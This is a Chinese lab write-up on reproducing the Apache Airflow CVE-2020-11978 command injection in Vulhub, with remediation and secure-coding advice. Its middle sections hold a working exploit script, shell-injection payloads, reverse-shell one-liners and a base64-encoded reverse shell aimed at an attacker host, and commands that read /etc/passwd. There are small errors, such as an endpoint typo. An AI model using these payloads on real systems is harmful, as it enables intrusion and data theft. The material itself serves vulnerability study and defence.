1. 项目概述:从一次靶场实战看Airflow的命令注入风险
最近在整理内部安全测试案例库时,我又把目光投向了Apache Airflow这个老牌的调度平台。作为数据工程师和运维同学的老朋友,Airflow以其强大的DAG(有向无环图)编排能力和丰富的社区生态,几乎成了数据管道自动化的标配。但越是核心的基础设施,一旦出现安全问题,其影响面就越大。CVE-2020-11978这个命令注入漏洞,就是一个典型例子——它并非出现在复杂的业务逻辑里,而是潜伏在示例DAG这个看似“无害”的演示文件中。这次,我就以在Vulhub靶场中复现这个漏洞为引子,和大家深入聊聊这个漏洞的成因、利用手法,以及我们从中能汲取哪些安全开发的经验。
简单来说,这个漏洞允许攻击者通过精心构造的HTTP请求,在运行Airflow的服务器上执行任意系统命令。想象一下,如果你的数据调度平台被人上传了一个能执行rm -rf /或者挖矿脚本的DAG,那后果不堪设想。复现这个漏洞,不仅能帮助我们理解攻击链,更重要的是能让我们在开发和使用类似调度系统时,建立起正确的安全边界意识。无论你是安全研究员想深入漏洞原理,还是运维工程师想检查自家环境,亦或是开发者想避免写出同类漏洞代码,这篇从环境搭建到漏洞利用的完整实录,都能给你提供直接的参考。
2. 漏洞背景与核心原理深度拆解
2.1 Apache Airflow与示例DAG的角色
要理解这个漏洞,首先得明白Airflow是怎么工作的。Airflow的核心是DAG,你可以把它理解为一个工作流蓝图,里面定义了多个任务(Task)以及它们之间的依赖关系。这些任务可以是执行一个Python函数、运行一个Bash命令,或者触发一个远程API。Web Server是Airflow的人机交互界面,我们通过它来触发DAG运行、查看日志、管理变量等。
而“示例DAG”(Example DAG)是Airflow安装后自带的、用于演示功能的教学文件。本意是好的,让新用户能快速上手,看看一个标准的DAG长什么样。问题就出在,Airflow默认配置下,会加载airflow/example_dags/目录下的所有DAG文件。这意味着,任何一个能访问Web Server接口的人,都有可能触发这些示例DAG中的任务。CVE-2020-11978的根源,正是一个名为example_trigger_target_dag的示例DAG。
2.2 漏洞触发点:未过滤的conf参数
漏洞的核心触发逻辑在example_trigger_target_dag.py这个文件里。我们来看一下关键代码段(基于漏洞版本):
# 这是一个简化的漏洞代码逻辑示意 bash_command = "echo \"{{ dag_run.conf['message'] if dag_run.conf else '' }}\"" run_this = BashOperator( task_id='run_this', bash_command=bash_command, dag=dag, )这段代码使用了Airflow的BashOperator来执行一个shell命令。命令的内容是使用Jinja2模板引擎,从dag_run.conf字典中读取message键的值,然后通过echo输出。dag_run.conf是什么?它是当用户通过Web UI或API触发一个DAG运行时,可以传递进去的一组键值对参数,本意用于动态控制DAG的行为。
漏洞就在于,{{ ... }}中的Jinja2模板表达式被直接拼接进了Bash命令字符串中,而Airflow没有对dag_run.conf['message']的内容进行任何过滤或转义。Jinja2模板在渲染时,会直接计算表达式的值并替换进去。如果message参数的值不是简单的字符串,而是一段包含Shell元字符(如分号;、反引号`、美元符号$())的Payload,那么当BashOperator去执行最终的bash_command时,这些Payload就会被Bash shell解析并执行。
举个例子,假设我们传递的message参数值为:hello”; whoami; echo “。经过Jinja2渲染后,bash_command就变成了:
echo "hello"; whoami; echo ""Bash会将其解析为三条顺序执行的命令:echo "hello"、whoami、echo ""。这样,whoami这个系统命令就被成功注入了。
注意:这里有一个关键细节。单纯传递
whoami可能不行,因为Jinja2模板引擎本身也有沙盒和过滤机制。但攻击者可以利用Jinja2的语法特性进行绕过。例如,使用{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}这类Payload,是在尝试利用Jinja2的沙盒逃逸来执行代码。但在CVE-2020-11978的公开利用中,更直接的方式是利用Bash命令注入,因为最终执行的是Bash shell。所以,理解漏洞的层次(Jinja2模板注入 vs. Bash命令注入)很重要,本例的根源是后者。
2.3 影响版本与利用前提
这个漏洞影响的是Apache Airflow 1.10.10及之前的所有版本。在1.10.11及之后的版本中,官方修复了此问题。修复方式主要是对示例DAG进行了更新,或者修改了默认加载策略。
利用这个漏洞有几个前提条件:
- 示例DAG未被移除或禁用:目标Airflow实例必须启用了示例DAG(默认是启用的)。
- 攻击者能访问Web Server接口:需要能向Airflow的Web Server发送HTTP请求,通常是
/api/experimental/dags/<DAG_ID>/dag_runs这个触发DAG运行的API端点。 - Airflow服务进程具有足够权限:执行Bash命令的Airflow Worker进程(或Scheduler进程,取决于执行器类型)需要有相应的系统权限。如果进程以高权限(如root)运行,那么攻击者就能执行高权限命令。
3. Vulhub靶场环境搭建与配置要点
3.1 为什么选择Vulhub进行复现
Vulhub是一个开源的漏洞靶场集合,它使用Docker Compose一键搭建各种存在已知漏洞的软件环境。对于安全学习和漏洞复现来说,它有不可替代的优势:
- 环境隔离:每个漏洞环境都是独立的Docker容器,不会污染宿主机。
- 一键部署:无需复杂的配置,几条命令就能还原漏洞原始场景。
- 还原度高:Vulhub的维护者通常会精心配置,使环境尽可能接近漏洞被发现时的真实情况。
- 学习成本低:专注于漏洞原理和利用,而不是环境搭建的琐碎细节。
对于CVE-2020-11978,Vulhub提供了现成的Airflow 1.10.10漏洞环境,包含了Web Server、Scheduler、PostgreSQL数据库和Redis,完全模拟了一个简易的生产环境。
3.2 详细搭建步骤与关键参数解析
首先,确保你的宿主机已经安装了Docker和Docker Compose。然后,按照以下步骤操作:
拉取Vulhub项目:
git clone https://github.com/vulhub/vulhub.git cd vulhub/airflow/CVE-2020-11978进入对应的漏洞目录,里面已经准备好了
docker-compose.yml文件。启动漏洞环境:
docker-compose up -d这个命令会在后台拉取镜像并启动所有定义的服务。首次运行需要下载镜像,耐心等待即可。
-d参数表示后台运行。等待服务初始化: 启动后,需要给Airflow一点时间进行数据库初始化。可以通过查看日志来确认:
docker-compose logs -f airflow-webserver当你看到类似
"Listening at: http://0.0.0.0:8080"的日志时,说明Web Server已经就绪。这个过程可能需要一两分钟。访问Web界面: 在浏览器中打开
http://your-host-ip:8080。默认的登录用户名和密码在Vulhub的配置中通常是airflow/airflow。成功登录后,你应该能看到Airflow的DAG列表,其中就包含example_trigger_target_dag。
实操心得:在Vulhub环境启动后,我习惯用
docker-compose ps命令查看所有容器的状态,确保都是“Up”状态。有时候PostgreSQL容器启动稍慢,可能导致Airflow初始化失败。如果遇到Web界面无法登录或DAG列表为空,可以尝试重启服务:docker-compose restart airflow-webserver airflow-scheduler。
3.3 环境结构分析与网络拓扑
理解这个Docker Compose环境的结构,对后续的漏洞利用和排查问题很有帮助。我们简单分析一下:
airflow-webserver:运行在8080端口,这是我们攻击的入口。airflow-scheduler:负责解析DAG文件、调度任务。airflow-worker(如果使用CeleryExecutor):实际执行任务的节点。在这个Vulhub简易配置中,可能使用的是LocalExecutor或SequentialExecutor,任务由Scheduler进程直接执行。postgres:Airflow的元数据库,存储DAG、任务实例、变量、连接等信息。redis:如果使用CeleryExecutor,作为消息队列。
所有这些容器通常共享同一个Docker网络,因此它们之间可以通过服务名(如postgres)相互通信。而我们的攻击流量是从外部发往airflow-webserver容器的8080端口。
4. 漏洞复现实操:手工注入与脚本化利用
环境就绪后,我们就可以开始动手复现漏洞了。我将演示两种方式:通过Web UI手动触发和通过Python脚本自动化利用。
4.1 通过Web UI手动触发命令注入
这是最直观的方式,可以帮助我们理解漏洞触发的完整流程。
登录并找到目标DAG: 登录Airflow Web UI (http://localhost:8080)。在主页的DAG列表中,找到
example_trigger_target_dag。它的描述通常是“Example DAG demonstrating the TriggerDagRunOperator”。打开DAG运行配置界面: 点击DAG名称进入详情页。在菜单栏找到“Trigger DAG”按钮(一个播放图标旁边写着Trigger DAG)。点击它。
构造并注入恶意Payload: 在弹出的“Trigger DAG”窗口中,你会看到一个“Configuration JSON”的输入框。这个框里的JSON内容,最终就会传递给
dag_run.conf。 我们需要构造一个包含恶意message字段的JSON。例如,我们想执行命令id来查看当前进程的用户信息:{ "message": "\"; id; echo \"" }解释一下这个Payload:
- 最外层的双引号是JSON字符串的界定符。
\"是JSON中对双引号的转义。所以\"在JSON解析后就是字符"。- 因此,最终
dag_run.conf['message']获得的值就是字符串:"; id; echo "。 - 这个字符串被拼接到Bash命令
echo \"{{ ... }}\"中,就形成了echo ""; id; echo "",成功注入id命令。
触发并查看结果: 点击“Trigger”按钮。然后点击该DAG的“Graph View”或“Tree View”,找到刚刚触发的DAG Run和里面的
run_this任务。点击任务方块,选择“Log”。如果漏洞存在且利用成功,你将在日志中看到id命令的执行结果,例如uid=0(root) gid=0(root) groups=0(root),这表明命令以root权限执行了。
注意事项:在Web UI上操作时,Payload的引号转义容易出错。如果日志中显示命令未执行或语法错误,请仔细检查JSON格式和转义字符。一个更稳妥的测试Payload是使用反引号或
$()的变体,例如{"message": "id"}或{"message": "$(id)"},它们有时能绕过一些简单的引号过滤。
4.2 编写Python脚本进行自动化利用
手动操作适合理解原理,但实际测试中,我们更倾向于使用脚本。这能方便地集成到扫描工具中,也便于批量测试。下面是一个使用requests库的Python利用脚本:
import requests import json import sys def exploit_airflow_cve(target_url, dag_id, command): """ 利用CVE-2020-11978执行命令 :param target_url: Airflow Web Server地址,如 http://192.168.1.100:8080 :param dag_id: 目标DAG ID,默认为 'example_trigger_target_dag' :param command: 要执行的系统命令 """ # 构造触发DAG的API端点 api_endpoint = f"{target_url}/api/experimental/dags/{dag_id}/dag_runs" # 构造恶意配置JSON。这里使用$()方式注入命令。 # 注意:需要对JSON中的双引号进行转义。 payload = { "conf": { "message": f'$( {command} )' } } # 设置请求头,通常Airflow的API需要认证。 # Vulhub默认用户名密码是airflow:airflow auth = ('airflow', 'airflow') headers = { 'Content-Type': 'application/json', } try: response = requests.post( api_endpoint, auth=auth, headers=headers, data=json.dumps(payload), timeout=30 ) print(f"[*] 请求状态码: {response.status_code}") print(f"[*] 响应内容: {response.text}") if response.status_code == 200: print(f"[+] 看起来DAG触发成功。请前往Airflow Web UI查看任务日志以确认命令执行结果。") print(f"[+] 执行命令: {command}") else: print(f"[-] 触发DAG可能失败。请检查目标地址、认证信息和DAG ID。") except requests.exceptions.RequestException as e: print(f"[-] 请求发生错误: {e}") if __name__ == "__main__": if len(sys.argv) != 4: print(f"用法: {sys.argv[0]} <目标URL> <DAG_ID> <命令>") print(f"示例: {sys.argv[0]} http://localhost:8080 example_trigger_target_dag 'id'") sys.exit(1) target = sys.argv[1] dag = sys.argv[2] cmd = sys.argv[3] exploit_airflow_cve(target, dag, cmd)脚本使用与解析:
- 保存为
exploit.py。 - 运行:
python3 exploit.py http://localhost:8080 example_trigger_target_dag "id"。 - 脚本会向
/api/experimental/dags/example_trigger_target_dag/druns发送一个POST请求,请求体中包含我们构造的Payload。 $(id)这个Payload会被Bash解析为命令替换,执行id命令并将其输出替换到echo命令中。- 脚本只负责触发DAG,命令执行的结果需要到Airflow的任务日志中查看。
实操心得:在编写利用脚本时,我通常会准备多个Payload变体,比如
;id;、`id`、$(id)、{id,}(Bash花括号扩展)等,以应对目标环境可能存在的轻微过滤或转义。另外,注意目标Airflow的API路径,旧版本可能是/api/experimental/,新版本可能迁移到了/api/v1/。Vulhub的这个环境使用的是实验性API。
4.3 漏洞利用的进阶:反弹Shell与信息收集
直接执行id、whoami、uname -a等命令可以验证漏洞,但真正的渗透测试需要更深入的利用。
1. 反弹Shell(Reverse Shell)这是获取服务器交互式访问权限的常用手段。假设攻击者控制着一台IP为192.168.1.200,监听端口为4444的服务器。
在攻击机上监听:
nc -lvnp 4444构造反弹Shell的Payload: 我们需要通过漏洞在目标Airflow服务器上执行一个连接到我们攻击机的命令。常用的Payload有:
- Bash TCP:
bash -i >& /dev/tcp/192.168.1.200/4444 0>&1 - Python:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.200",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' - Netcat:如果目标有nc,
nc 192.168.1.200 4444 -e /bin/sh
由于我们的注入点是在一个
echo命令的参数里,并且被双引号包裹,我们需要处理好引号和特殊字符的转义。使用Python的base64编码是一个规避复杂转义的好方法。步骤: a. 在本地生成编码后的命令:
echo 'bash -i >& /dev/tcp/192.168.1.200/4444 0>&1' | base64 # 输出:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMjAwLzQ0NDQgMD4mMQo=b. 构造Payload,让目标机器解码并执行:
{ "message": "$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMjAwLzQ0NDQgMD4mMQo= | base64 -d | bash)" }将这个JSON通过Web UI或脚本发送,如果目标机器的
base64命令可用,且出网流量不受限制,就能在攻击机的nc监听端口中获得一个反向shell。- Bash TCP:
2. 服务器信息收集在获取有限命令执行能力后,应立即收集信息,为后续横向移动或权限提升做准备。可以通过注入执行一系列命令:
{ "message": "$(id && uname -a && cat /etc/passwd | head -5 && df -h && ps aux | head -10)" }这个Payload会一次性执行多个命令,返回当前用户、系统内核、用户列表、磁盘空间和进程信息。
重要警告:反弹Shell和深度信息收集仅应在你拥有完全权限的测试环境(如Vulhub)中进行。在未经授权的真实系统上尝试是非法行为。
5. 漏洞根因分析与安全编码启示
复现漏洞之后,我们更应该深入思考其根源。CVE-2020-11978看似是一个简单的命令注入,但它暴露了软件开发中几个常见的安全盲区。
5.1 多层信任边界被突破
这个漏洞的利用链清晰地展示了信任边界是如何被层层突破的:
- 外部输入信任:Web API接收了用户可控的
conf参数,并默认其是安全的。 - 模板渲染信任:系统将用户输入直接嵌入Jinja2模板字符串,未做任何过滤,信任模板引擎的沙盒机制能完全隔离危险操作(但实际上这里的目标是Bash注入,而非Jinja2沙盒逃逸)。
- 系统命令信任:BashOperator将渲染后的模板字符串直接传递给
subprocess或os.system这类函数执行,完全信任其内容。
安全设计的一个基本原则是“纵深防御”和“最小信任”。在这个案例中,每一层都过度信任了来自上一层的输入。
5.2 示例代码的生产化风险
这是本漏洞最值得警醒的一点:示例代码或演示代码被直接用于生产环境。开发者在编写example_trigger_target_dag时,初衷是演示“如何从触发参数中读取值”,代码简洁直观,但却忽略了安全性的示范。而很多用户在部署Airflow时,可能并未仔细审查或禁用这些示例DAG,甚至直接模仿其写法来编写自己的生产DAG,从而将漏洞引入了生产系统。
给开发者的启示:无论是写示例、写文档还是写工具函数,只要涉及用户输入和命令执行,就必须把安全放在第一位。示例代码应该是“最佳实践”的典范,而不是漏洞的源头。在示例中,应该使用安全的做法,比如对输入进行转义,或者明确标注出危险的操作并提示风险。
5.3 安全的DAG编写规范
那么,如何编写一个安全的、使用BashOperator的DAG呢?
- 绝对避免用户输入直接进入命令:这是铁律。如果业务逻辑必须根据外部输入动态构造命令,需要极其谨慎。
- 使用参数化而非拼接:如果可能,尽量将动态值作为命令的参数传递,而不是命令字符串的一部分。但BashOperator本身设计就是执行字符串,这点比较难。
- 严格的输入验证与净化:
- 白名单验证:如果输入只能是有限的几个已知值(如
start,stop,restart),使用白名单进行校验。 - 转义Shell元字符:如果必须将用户输入放入命令,使用
shlex.quote()(Python)函数对输入进行转义。这个函数会给字符串加上引号,并转义内部的所有Shell元字符,确保它被当作一个单一的字符串参数。修正后的安全代码示例:
即使用户传入import shlex # 假设message来自dag_run.conf user_input = dag_run.conf.get('message', '') if dag_run.conf else '' # 对输入进行转义 safe_input = shlex.quote(user_input) # 将转义后的安全字符串拼接到命令中 bash_command = f"echo {safe_input}" run_this = BashOperator( task_id='run_this', bash_command=bash_command, dag=dag, )"; id; echo ",经过shlex.quote()后,会变成'"; id; echo "',Bash会将其视为一个整体字符串,而不会解析其中的分号。 - 白名单验证:如果输入只能是有限的几个已知值(如
- 降低进程权限:运行Airflow的进程(如Worker)应该使用非root、低权限的专用用户。这样即使发生命令注入,造成的破坏也有限。
- 定期审查与更新:禁用或删除不必要、不安全的示例DAG。定期更新Airflow到最新版本,并关注安全公告。
6. 漏洞修复方案与加固建议
对于受到CVE-2020-11978影响的系统,应立即采取以下措施:
6.1 官方修复与版本升级
最根本的解决方案是升级Apache Airflow到1.10.11或更高版本。官方在这个版本中移除了有问题的示例DAGexample_trigger_target_dag。升级前务必在测试环境充分验证,并备份数据和DAG文件。
6.2 临时缓解措施
如果无法立即升级,可以采取以下临时措施:
- 禁用或删除示例DAG:
- 在Airflow的配置文件
airflow.cfg中,找到[core]部分,设置load_examples = False,然后重启所有Airflow服务。这将阻止加载所有示例DAG。 - 或者,直接删除
$AIRFLOW_HOME/dags目录下的示例DAG文件(通常位于airflow/example_dags/目录中,但会被软链接或复制到DAGs目录)。
- 在Airflow的配置文件
- 网络层访问控制:
- 严格限制访问Airflow Web UI的IP地址范围,仅允许运维人员和管理员访问。
- 如果不需要,考虑关闭Web Server的对外访问,仅通过内网或VPN访问。
- 审计现有DAG:
- 全面检查所有自定义DAG,查找是否存在与漏洞示例类似的、将
dag_run.conf或其他外部参数未经处理直接拼接进bash_command的代码模式,并按照前述安全规范进行修改。
- 全面检查所有自定义DAG,查找是否存在与漏洞示例类似的、将
6.3 针对此类漏洞的长期防护策略
- 安全开发生命周期(SDL):在代码编写、代码审查、CI/CD流水线中引入安全检查点。例如,使用静态应用安全测试(SAST)工具扫描代码,查找“命令注入”、“模板注入”等漏洞模式。
- 运行时防护:
- 使用受限的Shell:考虑使用
pipes.quote()或subprocess.run()的shell=False模式并传递参数列表,这比直接使用bash -c更安全。 - 容器化与沙盒:在Docker容器或Kubernetes Pod中运行Airflow Worker,利用容器或Pod的安全上下文(Security Context)限制其权限,例如设置为只读根文件系统、禁止特权模式等。
- 主机安全加固:对运行Airflow的主机进行安全加固,如定期更新系统、配置防火墙、安装主机入侵检测系统(HIDS)等。
- 使用受限的Shell:考虑使用
- 监控与告警:
- 监控Airflow Worker进程执行的异常命令(例如,包含
curl、wget下载未知二进制文件,或连接到非常见外网IP)。 - 集中收集和分析Airflow的访问日志、错误日志,设置针对大量失败登录、异常API调用模式的告警。
- 监控Airflow Worker进程执行的异常命令(例如,包含
7. 从复现到思考:安全测试的维度延伸
一次成功的漏洞复现不是终点。以CVE-2020-11978为起点,我们可以将安全测试的思路扩展到更广的维度。
7.1 自动化漏洞扫描脚本的编写
我们可以将上面的手工验证过程,封装成一个更通用的、用于内部安全巡检的脚本。这个脚本可以:
- 自动识别Airflow实例(通过特征如页面标题、特定API端点)。
- 尝试默认凭证(airflow/airflow, admin/admin等)或使用提供的凭证进行认证。
- 枚举可用的DAG列表。
- 对有参数的DAG,尝试发送带有简单探测Payload(如
$(echo vuln_test))的请求。 - 根据响应时间、日志内容或间接通道(如DNS外带)判断是否存在命令注入。
这种脚本化的能力,可以帮助安全团队快速对一批资产进行初步筛查。
7.2 挖掘同类型漏洞模式
命令注入漏洞模式远不止这一种。在Airflow或其他调度/自动化系统中,我们还应该关注:
- 其他Operator:除了BashOperator,PythonOperator如果使用
eval()或exec()处理用户输入,同样危险。SSHOperator、KubernetesPodOperator等如果参数可控,也可能存在风险。 - 变量与连接:Airflow的“Variables”和“Connections”功能,如果存储了敏感信息(如SSH密码、API密钥)并能被低权限用户读取或修改,也会导致安全问题。
- DAG文件上传:如果Airflow配置允许通过Web UI或API上传DAG文件(
dag_run.conf),那么攻击者可以直接上传恶意DAG文件,这比命令注入更直接。
7.3 红蓝对抗中的利用场景
在真实的红队评估中,攻击者不会满足于执行一个id命令。他们的目标可能是:
- 权限维持:在服务器上植入后门或创建隐藏的定时任务(crontab)。
- 横向移动:利用当前服务器的权限,尝试访问同一内网的其他机器(如通过SSH密钥、凭据窃取)。
- 数据窃取:如果Airflow用于处理敏感数据管道,攻击者可能注入命令将数据外泄。
- 作为跳板:将存在漏洞的Airflow服务器作为攻击内部网络其他系统的跳板。
因此,防守方在构建监控策略时,需要将这些高级威胁行为也纳入检测范围。
在Vulhub靶场里成功弹出那个uid=0(root)的回显时,我并没有太多“攻破”的喜悦,反而更多是作为开发者和运维者的反思。CVE-2020-11978与其说是一个高深的技术漏洞,不如说是一个经典的安全意识教育案例。它提醒我们,安全往往溃于那些最不起眼的细节——一段被所有人忽略的示例代码、一个未经处理的用户输入、一次对内部系统过于宽松的默认配置。每一次漏洞复现,都是一次对自身安全水位线的测量。真正重要的不是复现了多少个CVE编号,而是在日常的每一次代码提交、每一次系统配置中,是否都把那条“最小权限”和“不信任任何输入”的原则刻在了脑子里。